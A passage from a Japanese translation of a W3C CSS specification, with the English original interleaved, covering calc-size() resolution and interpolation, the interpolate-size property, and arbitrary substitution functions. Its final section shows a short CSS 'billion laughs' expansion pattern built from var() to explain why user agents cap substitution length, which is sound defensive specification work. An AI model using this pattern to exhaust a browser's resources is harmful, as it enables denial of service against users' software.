Note: This is intentionally identical to the protection against substitution attacks defined for variable substitution; see CSS Variables 1 § 3.3 Safely Handling Overly-Long Variables. However, the use-cases for very long calc-size() values are much less than for long custom properties, so UAs might wish to impose a smaller size limit.
</p>
	</li>
	<li>
~RET %代入-済み計算式
◎
↑</li>
</ol>
</div>

		</section>
		<section id="resolving-calc-size">
<h3 title="Resolving calc-size()">10.2. `calc-size^f の解決-法</h3>

<p>
`calc-size$f は
— 以下、［
%基底s は その`~calc-size基底s$,
%計算式 は その`~calc-size計算式$
］を指すとする：
◎
↓</p>
<ul>
	<li>
すべてに関して， %基底s であったかのように扱われる
（未指定な`確定的~size$として動作する）。
◎
A calc-size() is treated, in all respects, as if it were its calc-size basis (with any acting as an unspecified definite size).
</li>
	<li>
しかしながら，実際に~layout計算を遂行するときには、
%基底s が表現する~sizeは，
%計算式 の値へ改変される
— %計算式 内の各 `size$vC ~keywordを［
%基底s の元の~size
］に評価する下で。
◎
When actually performing layout calculations, however, the size represented by its calc-size basis is modified to be the value of its calc-size calculation, with the size keyword evaluating to the calc-size basis’s original size.
</li>
	<li>
%基底s が
`any@vC
をとる場合、［
%計算式 に等しい長さ
］を与える`確定的~size$になる。
◎
(If the calc-size basis is any, the calc-size() is a definite length, equal to its calc-size calculation.)
</li>
</ul>

<div class="example">
<p>
例えば，
`height: calc-size(auto, round(up, size, 20px))$p を伴う要素は、
`height: auto^p を伴う要素と同じに扱われるが，
その~sizeは，それ以上かつ最も近い `20px^v の整数倍へ丸められる。
◎
For example, an element with height: calc-size(auto, round(up, size, 20px)) will be treated identically to an element with height: auto, but with its size rounded up to the nearest multiple of 20px.
</p>
</div>

<p>
`~calc-size計算式$を評価するときは、［
所与の文脈において百分率は確定的でない場合
］には `0px^v 解決され，
他の場合は通常通り解決される。
◎
When evaluating the calc-size calculation, if percentages are not definite in the given context, they resolve to 0px. Otherwise, they resolve as normal.
</p>

<p>
（ `~calc-size基底s$における百分率の扱いは他と異なる：
`単純~化＠#simplifying-calc-size$は、
百分率を`~calc-size計算式$の中へ移動すると伴に，それを `size$vC 参照で置換する。
その結果，`~calc-size基底s$は、
`100%^v になる。
それは、［
何であれ，当の文脈における `100%^v に対する通常の挙動
］と同じに挙動する
— それが［
場合によっては、
~propは`~autoとして挙動する$
］ようになる場合, 等々も含めて。）
◎
(A percentage in the calc-size basis is treated differently; simplification moves the percentage into the calc-size calculation and replaces it with size references. The calc-size basis then becomes 100%, behaving as whatever 100% would normally do in that context, including possibly making a property behave as auto, etc.)
</p>

<div class="note">
<p>注記：
基底sにおける百分率は，通常通り働くので、
常に，`どの~size^emへも
— その値や挙動に関わらず —
滑らかに遷移させれる。
例えば、
`calc-size$f を伴わない下で，
`100%^v から `0px^v へ遷移する場合、
それが滑らかに働くのは，百分率が`確定的~size$になる場合に限られる
— そうでない場合，
当の~propは遷移~全体にわたって`~autoとして挙動する$かもしれず、
そうなる場合，~sizeは実際には まったく変化しなくなる。
◎
Percentages in the basis work as normal so you can always smoothly transition to any size, regardless of its value or behavior. For example, without calc-size(), transitioning from 100% to 0px only works smoothly if the percentage is definite; if it’s not, then during the entire transition the property might behave as auto and not actually change size at all.
</p>

<p>
他方、
計算式における百分率は，不定なときには 0 へ解決される
— `calc-size$f が 2 つの異なる仕方で動作するようになり得ることを避けるため。
`min-content$v ~sizeと `100%^v ~sizeで~layout効果が異なる結果になる事例もあり、
そこでの `calc-size^f は，どちらか一方として装う必要がある。
◎
Percentages in the calculation, on the other hand, are resolved to 0 when indefinite to avoid making the calc-size() potentially act in two different ways; there are some cases where a min-content size will cause different layout effects than a 100% size, and so a calc-size() has to masquerade as one or the other.
</p>
</div>

		</section>
		<section id="interp-calc-size">
<h3 title="Interpolating calc-size()">10.3. `calc-size^f の補間-法</h3>

<div class="algo">
<p>
2 個の `calc-size$f 関数 %A, %B は、
以下に従って補間される：
◎
Two calc-size() functions can be interpolated if＼
</p>

<div>
<ol>
	<li>
~Assert：
%A, %B は`正準-化済み＠#calc-size-canonicalize-for-interpolation$である
（どちらかが `失敗^i であったならば %A, %B は補間し得ない）
</li>
	<li>
%基底s ~LET %A の`~calc-size基底s$
</li>
	<li>
~IF［
%基底s ~NEQ %B の`~calc-size基底s$
］~AND［
%基底s ~EQ `any$vC
］
⇒
%基底s ~SET %B の`~calc-size基底s$
</li>
	<li>
%計算式 ~LET %A, %B の`~calc-size計算式$を補間した結果
</li>
	<li>
~RET 次を伴う新たな `calc-size$f 関数
⇒＃
その`~calc-size基底s$ ~SET %基底s
その`~calc-size計算式$ ~SET %計算式
</li>
</ol>

◎
(after being canonicalized for interpolation):
• Either function returned failure from being canonicalized for interpolation
•• The values cannot be interpolated.
• Both calc-size basises are identical
•• The result’s calc-size basis is the that basis value.
• Either calc-size basis is any
•• The result’s calc-size basis is the non-any basis.
◎
The result’s calc-size calculation is the interpolation of the two input calc-size calculations.
</div>

<p class="note">注記：
補間に対する これらの制約は、［
`calc-size$f は，同時に 2 つの異なる仕方で動作するよう試行しない
］ことを確保する。
例えば，［
`min-content$v, `max-content$v
］が~layoutに対し異なる挙動を生産する事例もあるので、
`calc-size^f は，どちらか一方として装う必要がある。
あいにく，このことは、
`~autoS$v から `min-content^v へ行く様な~keywordどうしでは遷移し得ないことを意味する。
◎
Note: These interpolation restrictions ensure that a calc-size() doesn’t try to act in two different ways at once; there are some cases where a min-content and max-content would produce different layout behaviors, for example, so the calc-size() has to masquerade as one or the other. This, unfortunately, means you can’t transition between keywords, like going from auto to min-content.
</p>
</div>

<p>
`calc-size$f 値には［
`length-percentage$t ／ `intrinsic-size-keyword$t
］値 %値 と補間できるものもある。
［
これらの値を補間できるかどうか, できる場合の補間の挙動
］を決定するときは、
%値 を［
%値 は `calc-sum$t として与えられた場合は
<code class="value">calc-size(`any$vC, %値 )</code> ／
~ELSE_
<code class="value">calc-size( %値, `size$vC)</code>
］として扱う下で，上の規則を適用する。
◎
Some calc-size() values can also be interpolated with a &lt;length-percentage&gt; or an &lt;intrinsic-size-keyword&gt;. To determine whether the values can interpolate and what the interpolation behavior is, treat the non-calc-size() value as calc-size(any, value ) if the value is a &lt;calc-sum&gt; or as calc-size( value , size) otherwise, and apply the rules above.
</p>

<div class="example">
<p>
例えば、
`height$p においては，
`calc-size$f と `auto^v の補間は許容される：
◎
For example, calc-size() allows interpolation to/from height: auto:
</p>

<pre class="lang-css">
details {
  transition: height 1s;
}
details::details-content {
  display: block;
}
details[open]::details-content {
  height: auto;
}
details:not([open])::details-content {
  height: calc-size(any, 0px);
}
</pre>

<p>
これは、
暗黙的に［
`calc-size(auto, size)^v, `calc-size(any, 0px)^v
］の合間を補間することになる。
`details$e を開いてから 0.5 秒~後には、
`details-content^pe† の `height$p は，
開な~sizeの半分 `calc-size(auto, size * .5)^v になり、
その縦幅は，遷移~全体を通して滑らかに~animateすることになる。
◎
This will implicitly interpolate between calc-size(auto, size) and calc-size(any, 0px). Half a second after opening the details, the ::details-content wrapper’s height will be calc-size(auto, size * .5), half its open size; thruout the transition it’ll smoothly animate its height.
</p>

<p class="trans-note">【†
この疑似要素を定義する仕様は現時点では無いが、［
`details$e 要素の要約（ `summary^e ）以外を成す部分を包装する~box
］になることが意図されると思われる。
】</p>
</div>

<p class="note">注記：
`calc-size$f は、
<code class="value">calc-size(any, `確定的~size$)</code> と他の何かの間で
— “他の何か” がどう指定されたかに関わらず —
`常に^em滑らかに遷移することになるよう設計された。
◎
Note: calc-size() is designed such that transitioning to/from calc-size(any, definite length) will always work smoothly, regardless of how the other side of the transition is specified.
</p>

<p class="note">注記：
この “素な値【上で述べた %値 】を `calc-size$f へ昇格する” 挙動は、
`~calc-size計算式$の中へ `length-percentage$t 値を置く。
これは，［
百分率を伴う値と内在的~size~keyword
］を補間することを許容するが、
当の百分率は`確定的~size$でない場合，
それは 0 へ解決されるようになることを意味する。
【作者は，】百分率が［
要素の実際の~sizeを~~基準に解決される
］ようになることを求める場合には、
`calc-size^f の`~calc-size基底s$において，明示的に値を与えること
— `calc-size(50%, size)^v の様に。
◎
Note: This "upgrade a plain value into a calc-size()" behavior puts &lt;length-percentage&gt; values into the calc-size calculation. This allows values with percentages to interpolate with intrinsic size keywords, but does mean that when a percentage isn’t definite, it’ll resolve to zero. If you want to resolve to the actual size the percentage would make the element, explicitly write a calc-size() with the value in its calc-size basis, like calc-size(50%, size).
</p>

		</section>
		<section id="interpolate-size">
<h3 title="Interpolating sizing keywords: the interpolate-size property">10.4. ~sizing~keywordの補間-法： `interpolate-size^p ~prop</h3>

<p class="note">注記：
過去に戻れたなら、
この~propは必要なかった。
これが存在するのは、
既存の多くの~stylesheetが［
内在的~sizing~keyword（ `~autoS$v, `min-content$v, 等々）は~animateし得ない
］ものと見做すからである。
したがって，この~propは、［
~stylesheetが，期待される挙動を取得するよう選ぶ
］ことを許容するために存在する。
根~要素に `interpolate-size:allow-keywords$p を指定した場合、
~page全体~用に新たな挙動を選ぶことになる。
互換性が課題にならないときは、
そうすることが示唆される。
◎
Note: If we had a time machine, this property wouldn’t need to exist. It exists because many existing style sheets assume that intrinsic sizing keywords (such as auto, min-content, etc.) cannot animate. Therefore this property exists to allow style sheets to choose to get the expected behavior. Specifying interpolate-size: allow-keywords on the root element chooses the new behavior for the entire page. We suggest doing this whenever compatibility isn’t an issue.
</p>

◎名 `interpolate-size@p
◎値 `numeric-only$v | `allow-keywords$v
◎初 `numeric-only$v
◎適 すべての要素
◎継 される
◎百 受容しない
◎算 指定されたとおり
◎順 文法に従う
◎ア ~animate不可
◎表終

<dl>
	<dt>`numeric-only@v</dt>
	<dd>
`intrinsic-size-keyword$t は、
補間できない。
◎
An &lt;intrinsic-size-keyword&gt; cannot be interpolated.
</dd>

	<dt>`allow-keywords@v</dt>
	<dd>
`intrinsic-size-keyword$t は、
`length-percentage$t との間でも補間できる。
これは、
所与の `intrinsic-size-keyword$t %~keyword に対し，［
%~keyword は `calc-size(<var>~keyword</var>, size)^v であった
］かのように扱う下で［
`calc-size$f の`補間-法＠#interp-calc-size$を適用する
］ことにより行われる。
`length-percentage^t 以外の値とは，依然として補間できない。
◎
Two values can also be interpolated if one of them is an &lt;intrinsic-size-keyword&gt; and the other is a &lt;length-percentage&gt;. This is done by treating the &lt;intrinsic-size-keyword&gt; keyword as though it is calc-size(keyword, size) and applying the rules in § 10.3 Interpolating calc-size(). In other cases, an &lt;intrinsic-size-keyword&gt; still cannot be interpolated.
</dd>
</dl>

<p>
`interpolate-size$p の値が問われるものは、
~animationが開始するかもしれない時点における当の要素の【他の~propの】算出d値である。
~CSS遷移~用には、
これは，`変化-後~style$における値を意味する。
~animationは、
後で `interpolate-size^p が変化しても［
停止される／開始される
］ことはない。
◎
The value of interpolate-size that matters is the computed value on the element at the time the animation might start. For CSS transitions, this means the value in the after-change style. An animation is not stopped or started later because interpolate-size changes.
</p>

		</section>
	</section>
	<section id="arbitrary-substitution">
<h2 title="Arbitrary Substitution Functions">付録 A. 任意-代入~関数</h2>

<p>
`任意-代入~関数@
（ `arbitrary substitution function^en ）とは、
解決されるとき，自身に［
構文解析-時点では未知にもなり得る他の値
］が`代入-$されることになる`関数-記法$である
— したがって，その`算出d値$を解決する間に構文解析するモノトスル。
◎
An arbitrary substitution function is a functional notation that will, when resolved, substitute itself with other values that are potentially unknowable at parse time—and must therefore be parsed while resolving its computed value.
</p>

<p class="note">注記：
`任意-代入~関数$は，`算出d値$の時点で解決されるので、
代入された結果の値が無効になる場合，
当の~propは（本質的に） `unset$v の挙動へ~fall-backする
— ~prop宣言が構文解析-時に無効になったときには，
`~cascade$において より早い値【より優先度が低い宣言】へ~fall-backするが、
そうではなく。
`無効な代入＠#invalid-substitution$を見よ。
◎
Note: Since arbitrary substitution functions resolve at computed value time, if the resulting value after substitution is invalid, the property falls back (essentially) to unset behavior, rather than falling back to an earlier value in the cascade the way declarations invalid at parse time do. See Invalid Substitution.
</p>

<p>
他が指定されない限り，`任意-代入~関数$は、
どの~propの どの値においても，
それを成す どの場所にも（他の`関数-記法$の中も含めて）利用できる
— 他の文脈においては妥当でない。
◎
Unless otherwise specified, arbitrary substitution functions can be used in place of any part of any property’s value (including within other functional notations); and are not valid in any other context.
</p>

<p class="issue">
これらの関数のうち，~propの外側の文脈においても妥当になるべきものはあるか？
◎
Should any of these functions be valid in contexts outside of properties?
</p>

<div class="example">
<p>
次の~codeは、
~prop名として変数を利用するよう試みるので，不正な例になる：
◎
For example, the following code incorrectly attempts to use a variable as a property name:
</p>

<pre class="lang-css">
.foo {
  --side: margin-top;
  var(--side): 20px;
}
</pre>

<p>
これは、
`margin-top:20px$p を設定することに等価`でない^em。
2 個目の宣言は、
単に無効な~prop名として構文~errorにされ，棄てられる。
◎
This is not equivalent to setting margin-top: 20px;. Instead, the second declaration is simply thrown away as a syntax error for having an invalid property name.
</p>
</div>

<p>
ある~propの値が`任意-代入~関数$たちを包含していて，
いずれも構文として妥当である場合、
当の値~全体の文法は，構文解析-時には妥当であると見做すモノトスル。
◎
If a property value contains one or more arbitrary substitution functions, and those functions are themselves syntactically valid, the entire value’s grammar must be assumed to be valid at parse time.
</p>

<p>
`任意-代入~関数$は、
値に対する他の［
変形n／自己検分
］が生じ得る前に，
~styleの`算出d値$を得る間に`代入-$される。
ある~prop【の値】が`代入$の後において，
それの【当の~prop用に】宣言された文法に合致しない場合、
当の宣言は，`算出d値の時点で無効$になる。
◎
Arbitrary substitution functions are substituted during style computation, before any other value transformations or introspection can occur. If a property, after substitution, does not match its declared grammar, the declaration is invalid at computed-value time.
</p>

<p>
ある~propの値が［
`代入$の後において， 1 個の`~CSS全域~keyword$（および，場合によっては空白）のみを包含する
］場合、
その値【`算出d値$】は，［
その`指定d値$は初めから当の~keywordであった
］かのように決定される。
◎
If a property value, after substitution, contains only a single CSS-wide keyword (and possibly whitespace/comments), its value is determined as if that keyword were its specified value all along.
</p>

<div class="example">
<p>
例えば，次の用法は、
構文の観点からは~~問題ないが、
変数が代入された後は無意味な結果になる：
◎
For example, the following usage is fine from a syntax standpoint, but results in nonsense when the variable is substituted in:
</p>

<pre class="lang-css">
:root { --looks-valid: 20px; }
p { background-color: var(--looks-valid); }
</pre>

<p>
`20px^v は， `background-color$p 用の値としては妥当でないので、
この~propは，`算出d値の時点で無効$になる
— 代わりに `transparent$v （ `background-color^p 用の`初期~値$）に解決される。
◎
Since 20px is an invalid value for background-color, the property becomes invalid at computed-value time, and instead resolves to transparent (the initial value for background-color).
</p>

<p>
~propが既定で継承されるもの（ `color$p など）ならば、
`初期~値$ではなく`継承d値$に算出される。
◎
If the property was one that’s inherited by default, such as color, it would compute to the inherited value rather than the initial value.
</p>
</div>

<div class="example">
<p>
`var$f 関数は、
`~custom~prop$からは`~CSS全域~keyword$を取得し得ない
— `--foo: initial^p の様に指定するよう試行した場合、
単に，~custom~prop用に`明示的な~default法＠~CASCADE#defaulting-keywords$を誘発することになる
【その結果，当の `var^f には `--foo^p の`初期~値$が代入される】。
が、
その~fallbackは`~CSS全域~keyword$をとり得る：
◎
While a var() function can’t get a CSS-wide keyword from the custom property itself—if you tried to specify that, like --foo: initial;, it would just trigger explicit defaulting for the custom property—it can have a CSS-wide keyword in its fallback:
</p>

<pre class="lang-css">
p { color: var(--does-not-exist, initial); }
</pre>

<p>
上の~codeでは，
`--does-not-exist^p ~propが［
存在しない／`算出d値の時点で無効$になる
］場合、
`var$f には代わりに `initial$v ~keywordが代入され，
`color$p ~propは元から `initial^v であったかのように挙動する。
その結果、
`color^p は，その初期~値をとることになる。
一方で，~fallbackが与えられなかった場合、
`color^p は既定では継承するので，それに従うことになる。
◎
In the above code, if the --does-not-exist property didn’t exist or is invalid at computed-value time, the var() will instead substitute in the initial keyword, making the property behave as if it was originally color: initial. This will make it take on the document’s initial color value, rather than defaulting to inheritance, as it would if there were no fallback.
</p>
</div>

<p>
各種 `任意-代入~関数$は、
それ用に
`任意-代入~関数を解決する@
方法を
( %結果, %~fallback )
が成す~tupleを返すものとして定義しなければナラナイ。
%結果 は ε でないならば，当の関数を置換するために利用される
— 他の場合、
 %~fallback が ε でないならば，それが利用される。
［
%結果 ／ %~fallback
］における ε は、
`代入$において，`無効が保証される値$として取扱われることになる。
◎
Each arbitrary substitution function must define how to resolve an arbitrary substitution function for itself, returning optional result and fallback values. The result is used to replace the function as long as it does not contain the guaranteed-invalid value; the fallback is used otherwise. (The fallback does not need to be resolved in any way; substitution will handle that if it’s actually used.)
</p>

<p class="trans-note">【
これは、
暗黙的な文脈として［
当の関数を値に利用した~prop, それが適用される要素
］を入力にとる
（現時点では，`任意-代入~関数$は~prop以外の文脈では妥当でないので、
それらは常に存在する）
— それらをとらない（利用しない）関数もあるが。
したがって、
この~algoを呼出す~algoも，同様にそれらを入力にとる。
】【
原文では，［
%結果, %~fallback
］どちらも省略可能としているが、
片方が省略されたとき結果がどちらを指すか不明瞭になるので，
この訳では常に~tupleを返すものと改める
— `任意-代入~関数を解決する$方法を指定する各~仕様において，これらが省略された所では、
それらの和訳では，代わりに ε を利用することにして。
また，（ ε ではなく）明示的に`無効が保証される値$を返すものもあるが、
それらの和訳では，代わりに ε を返すよう改める
— `代入-$時には、［
ε, `無効が保証される値$
］は同じに扱われるので。
】</p>

<p class="note">注記：
例えば，
`var$f 関数を`解決する手続き＠~CSSVAR#resolve-a-var-function$を見よ。
◎
Note: See, for example, resolve a var() function.
</p>

<div class="algo">
<p>
所与の値 %値 内の
`任意-代入~関数たちへ代入する@
~algoは：
◎
To substitute arbitrary substitution functions in a value:
</p>

<p class="trans-note">【
動詞 “~~代入する” の原語 `substitute^en は、
一般に， “その場限り” の含みがある~~置換を意味する
— “~~永続的な” 含みがある “~~置換（ `replace^en ）” に比して。
“%x に %y を~~代入する”
の様な句は、
日本語の都合に合わせた表現であり，
英語に則った解釈においては
“%x を %y で `substitute^en する”
の様に表現する方が適切になる
（英語と一貫させる対訳として “~~代用する” も挙げられ、
~CSS変数~以外の文脈においては，その方が適することもあるが）。
】</p>
<ol>
	<li>
<p>
%値 を成す
~EACH( `任意-代入~関数$ %関数 )
に対し：
◎
For each arbitrary substitution function func in value:
</p>
		<ol>
			<li>
<p>
( %結果, %~fallback ) ~LET %関数 用に`任意-代入~関数を解決する$
</p>

<p class="trans-note">【
ここでは、
%関数 によっては， %値 を利用した~propが適用される要素も渡す必要がある。
】</p>
◎
Resolve func. Let result be the returned result, and fallback be the returned fallback.
</li>
			<li>
~IF［
%結果 ~EQ ε
］
⇒
%結果 ~SET `無効が保証される値$
◎
If no result was returned, set result to the guaranteed-invalid value.＼
</li>
			<li>
~IF［
%~fallback ~EQ ε
］
⇒
%~fallback ~SET `無効が保証される値$
◎
If no fallback was returned, set fallback to the guaranteed-invalid value.
</li>
			<li>
~IF［
%結果 は`無効が保証される値$を包含しない
］
⇒
%値 内の %関数 を %結果 で置換する
◎
If result does not contain the guaranteed-invalid value
• Replace func in value with result.
</li>
			<li>
~ELIF［
%~fallback は`無効が保証される値$を包含しない
］
⇒
%値 内の %関数 を %~fallback で置換する
◎
Otherwise, if fallback does not contain the guaranteed-invalid value
• Replace func in value with fallback.
</li>
			<li>
<p>
~ELSE：
</p>
				<ol>
					<li>
%値 全体を`無効が保証される値$で置換する
</li>
					<li>
~RET
</li>
				</ol>
◎
Otherwise
• Replace all of value with the guaranteed-invalid value. Exit this algorithm.
</li>
		</ol>
	</li>
	<li>
~IF［
%値 には`任意-代入~関数$が在る
（すなわち，前~段における いずれかの［
%結果 ／ %~fallback
］は`任意-代入~関数$を包含していた）
］
⇒
~GOTO 前~段
◎
If there are still arbitrary substitution functions in value (due to substitution), repeat the previous step.
</li>
	<li>
~IF［
%値 を通常通り文脈に則って文法を検査した結果，
%値 は妥当でない
］
⇒
%値 全体を`無効が保証される値$で置換する
◎
Grammar-check value according to its context as normal. If it is not valid at this point, replace value with the guaranteed-invalid value.
</li>
</ol>
</div>

<div class="note">
<p>注記：
`代入$は、
~CSS~token `css-syntax-3$r の~levelであり，~textな~levelではない
— 一部分だけ変数から供されるような単独の~tokenを築くことはできない：
◎
Note that substitution takes place at the level of CSS tokens [css-syntax-3], not at a textual level; you can’t build up a single token where part of it is provided by a variable:
</p>

<pre class="lang-css">
.foo {
  --gap: 20;
  margin-top: var(--gap)px;
}
</pre>

<p>
これは、
`margin-top:20px$p （長さ）を設定することに等価`ではない^em。
`margin-top:0 px^p と等価になり
（値は、~spaceを挟んだ実数と識別子の並びになる），
単純に `margin-top$p ~propに対する無効な値になる。
このような場合、
`calc$f 式を利用すれば，同じものを妥当に得られる
— 次の様に：
◎
This is not equivalent to setting margin-top: 20px; (a length). Instead, it’s equivalent to margin-top: 20 px; (a number followed by an ident), which is simply an invalid value for the margin-top property. Note, though, that calc() can be used to validly achieve the same thing, like so:
</p>

<pre class="lang-css">
.foo {
  --gap: 20;
  margin-top: calc(var(--gap) * 1px);
}
</pre>

<p>
このことは、
代入~後の値も，そのままとして直に直列化-可能になるとは限らないことを含意する。
上と類似な次の例において：
◎
This also implies that the post-substitution value might not be directly serializable as-is. Here’s a similar example to the preceding:
</p>

<pre class="lang-css">
.foo {
  --gap: 20;
  --not-px-length: var(--gap)px;
}
</pre>

<p>
`--not-px-length^p の算出d値（代入~後の値）の直列化は、
`20px^l には<strong>ならない</strong>
— そうすると、
それを構文解析し直したとき，次元が結合された 1 個の~tokenになるので。
構文解析し直すときも別々な~tokenになることを施行するため、
代わりに， 2 個の~tokenの合間に~commentを挟んで
— `20/**/px^l 【！px】の様に —
直列化されることになる。
◎
The serialization of the computed (post-substitution) value of --not-px-length is not 20px, because that would parse back as the single combined dimension; instead, it will serialize with a comment between the two tokens, like px, to enforce that they are separate tokens even when re-parsing.
</p>
</div>

		<section id="invalid-substitution">
<h3 title="Invalid Substitution">無効な代入</h3>

<p>
所与の~prop %~prop の値に対する`代入$の結果が`無効が保証される値$を包含するときは、
当の宣言は
`算出d値の時点で無効@
になる。
これが起きた場合、
%~prop の`算出d値$は：
◎
When substitution results in a property’s value containing the guaranteed-invalid value, this makes the declaration invalid at computed-value time. When this happens, the computed value is one of the following depending on the property’s type:
</p>

<dl class="switch">
	<dt>
%~prop は登録-済みでない`~custom~prop$である場合
◎
The property is a non-registered custom property
</dt>
	<dt>
%~prop は`全称~構文~定義$を伴う`登録-済み~custom~prop$である場合
◎
The property is a registered custom property with universal syntax
</dt>
	<dd>
`無効が保証される値$になる。
◎
The computed value is the guaranteed-invalid value.
</dd>

	<dt>
他の場合
◎
Otherwise
</dt>
	<dd>
［
%~prop は`継承d~prop$であるならば， %~prop の`継承d値$／
~ELSE_ %~prop の`初期~値$
］になる
— %~prop の値として `unset$v ~keywordが指定されていたかのように。
◎
Either the property’s inherited value or its initial value depending on whether the property is inherited or not, respectively, as if the property’s value had been specified as the unset keyword.
</dd>
</dl>

<div class="example">
<p>
例えば、
次の~codeでは：
◎
For example, in the following code:
</p>

<pre class="lang-css">
:root { --not-a-color: 20px; }
p { background-color: red; }
p { background-color: var(--not-a-color); }
</pre>

<p>
`p^e 要素の背景は、
`red^v ではなく，
`background-color$p の`初期~値$ `transparent$v （透明）になる。
`~custom~prop$自身が `unset$v されたり，無効な `var$f 関数を包含している場合も同じことが生じる。
◎
the &lt;p&gt; elements will have transparent backgrounds (the initial value for background-color), rather than red backgrounds. The same would happen if the custom property itself was unset, or contained an invalid var() function.
</p>

<p>
このことと［
作者が，~stylesheetに直に `background-color:20px$p と記しただけの場合に起こること
］との相違に注意されたし。
それは，通常の構文~errorなので、
その規則は
【`~cascadeの最初の段階＠~CASCADE#filtering$で】
破棄される結果，規則 `background-color:red^p が代わりに利用されることになる。
◎
Note the difference between this and what happens if the author had just written background-color: 20px directly in their stylesheet - that would be a normal syntax error, which would cause the rule to be discarded, so the background-color: red rule would be used instead.
</p></div>

<p class="note">注記：
`算出d値の時点で無効$の概念は、
`任意-代入~関数$が他の構文~errorと異なり， “早期に失敗させ” 得ないがためにある。
~prop値が無効であることが~UAに判明した時点では、
【より優先度が低い】
他の`~cascaded値$は，すでに棄てられている。
◎
Note: The invalid at computed-value time concept exists because arbitrary substitution functions can’t "fail early" like other syntax errors can, so by the time the user agent realizes a property value is invalid, it’s already thrown away the other cascaded values.
</p>

		</section>
		<section id="substitution-in-shorthands">
<h3 title="Substitution in Shorthand Properties">略式~propにおける代入</h3>

<p>
`任意-代入~関数$は、
次に挙げる所で，ある複雑化をもたらす
⇒＃
`略式~prop$の値を その`下位prop$用の成分たちに構文解析するとき／
それら各~成分から`下位prop$を直列化するとき
◎
Arbitrary substitution functions produce some complications when parsing shorthand properties into their component longhands, and when serializing shorthand properties from their component longhands.
</p>

<p>
所与の`略式~prop$の値が，その ある`下位prop$用の成分として`任意-代入~関数$を包含する場合、
当の`下位prop$には，代わりに
`代入待ちの値@
をあてがうモノトスル
— この値は：
◎
If a shorthand property contains an arbitrary substitution function in its value, the longhand properties it’s associated with must instead be filled in with＼
</p>
<ul>
	<li>
作者からは観測-不能な特別な値であり，［
略式~propは`任意-代入~関数$を包含するので、
当の`下位prop$の値は，関数が`代入-$されるまで決定し得ない
］ことを指示する。
◎
a special, unobservable-to-authors pending-substitution value that indicates the shorthand contains an arbitrary substitution function, and thus the longhand’s value can’t be determined until after substituted.
</li>
	<li>
通常通り~cascadeするモノトスル。
◎
This value must then be cascaded as normal,＼
</li>
	<li>
算出d値の時点で`代入-$された後に、
`略式~prop$の値を構文解析して，`下位prop$に適切な値をあてがうモノトスル。
◎
and at computed-value time, after substitution, the shorthand must be parsed and the longhands must be given their appropriate values at that point.
</li>
</ul>

<p class="trans-note">【
該当する下位propは、
1 個の`任意-代入~関数$に対し複数個あり得る
— 当の関数が成す略式~propの成分~値が，複数個の下位prop用の値を与えるものと定義されている場合や、
当の関数~自体が複数個の下位prop用の値を まとめて与えている場合など。
】</p>

<p class="note">注記：
ある`略式~prop$が`任意-代入~関数$を伴わずに記された場合、
その値は，構文解析-時点で`下位prop$用の成分たちに分離されるよう構文解析される。
各`下位prop$は、
その後に`~cascade$に関与する
— それに伴い，当の`略式~prop$は概ね破棄される。
しかしながら，これは、
当の略式~propが`任意-代入~関数$【！ `var$f 】を包含するときには行えない
— それらの関数には、
何でも代入され得るので。
◎
Note: When a shorthand is written without an arbitrary substitution function, it is parsed and separated out into its component longhand properties at parse time; the longhands then participate in the cascade, with the shorthand property more or less discarded. When the shorthand contains a var(), however, this can’t be done, as the var() could be substituted with anything.
</p>

<p>
`代入待ちの値$は、
それを観測することが~APIにより許容される所では，
空~文字列に直列化するモノトスル。
◎
Pending-substitution values must be serialized as the empty string, if an API allows them to be observed.
</p>

<hr>

<p>
`略式~prop$は、
その各`下位prop$用の成分の値を集めることにより直列化され，
同じ値~集合に構文解析されることになる値を合成することになる。
所与の`略式~prop$に対し：
◎
Shorthand properties are serialized by gathering the values of their component longhand properties, and synthesizing a value that will parse into the same set of values.
</p>
<ul>
	<li>
すべての`下位prop$が`代入待ちの値$になる場合、
当の`略式~prop$は，その元の（`任意-代入~関数$を包含している）値に直列化するモノトスル。
◎
If all of the component longhand properties for a given shorthand are pending-substitution values from the same original shorthand value, the shorthand property must serialize to that original (arbitrary substitution function-containing) value.
</li>
	<li>
他の場合，いずれかの`下位prop$が［
`代入待ちの値$になる場合 ／
まだ`代入-$されていない自前の`任意-代入~関数$を包含する場合
］、
当の`略式~prop$は，空~文字列に直列化するモノトスル。
◎
Otherwise, if any of the component longhand properties for a given shorthand are pending-substitution values, or contain arbitrary substitution functions of their own that have not yet been substituted, the shorthand property must serialize to the empty string.
</li>
</ul>

		</section>
		<section id="long-substitution">
<h3 title="Safely Handling Overly-Long Substitution">長過ぎな代入に対する安全な取扱い</h3>

<p>
素朴に実装された`任意-代入~関数$（ `var$f など）は、
“`billion laughs^en 攻撃” 【十億の笑い】の一種に利用され得る：
◎
Naively implemented, some arbitrary substitution functions (such as var()) can be used in a variation of the "billion laughs attack":
</p>

<div class="example">
<pre class="lang-css">
.foo {
  --prop1: lol; /* 笑 */
  --prop2: var(--prop1) var(--prop1);
  --prop3: var(--prop2) var(--prop2);
  --prop4: var(--prop3) var(--prop3);
  /* etc */
}
</pre>

<p>
この短い例では、
`--prop4^p の算出d値は、
`lol lol lol lol lol lol lol lol^v
になり，元の `lol^v の複製を 8 個 包含する。
追加される~levelごとに，識別子の個数は倍になり、
ほんの一手間，わずか 30 ~levelに拡張するだけで，
`--prop30^p が包含する識別子は `およそ十億個^emになる。
◎
In this short example, --prop4’s computed value is lol lol lol lol lol lol lol lol, containing 8 copies of the original lol. Every additional level added to this doubles the number of identifiers; extending it to a mere 30 levels, the work of a few minutes by hand, would make --prop30 contain nearly a billion instances of the identifier.
</p>
</div>

<p>
この類の攻撃を避けるため、
~UAは，［
`任意-代入~関数$を展開した結果の~token~streamに許容される長さ
］に自身が定義する上限を課すモノトスル。
`任意-代入~関数$がこの上限より長い~token~streamに展開される場合、
代わりに，それを`無効が保証される値$に置換するとする。
◎
To avoid this sort of attack, UAs must impose a UA-defined limit on the allowed length of the token stream that an arbitrary substitution function expands into. If an arbitrary substitution function would expand into a longer token stream than this limit, it instead is replaced with the guaranteed-invalid value.
</p>

<p>
この仕様は、
課すベキ上限~sizeは定義しない。
しかしながら， 1000 ~byte以上の~textを包含するような~custom~prop用の妥当な利用事例もあるので、
上限は多少高めに設定することが推奨される。
◎
This specification does not define what size limit should be imposed. However, since there are valid use-cases for custom properties that contain a kilobyte or more of text, it’s recommended that the limit be set relatively high.
</p>

<p class="note">注記：
［
~UAには、
資源の拘束に因り標準に違反することが許容される
］とする一般~原則は、
ここにも一般に該当する。
~UAは、
自身が~supportできる［
~custom~propの~~長さ, 識別子の~~長さ
］に別々な上限を課すこともあろう。
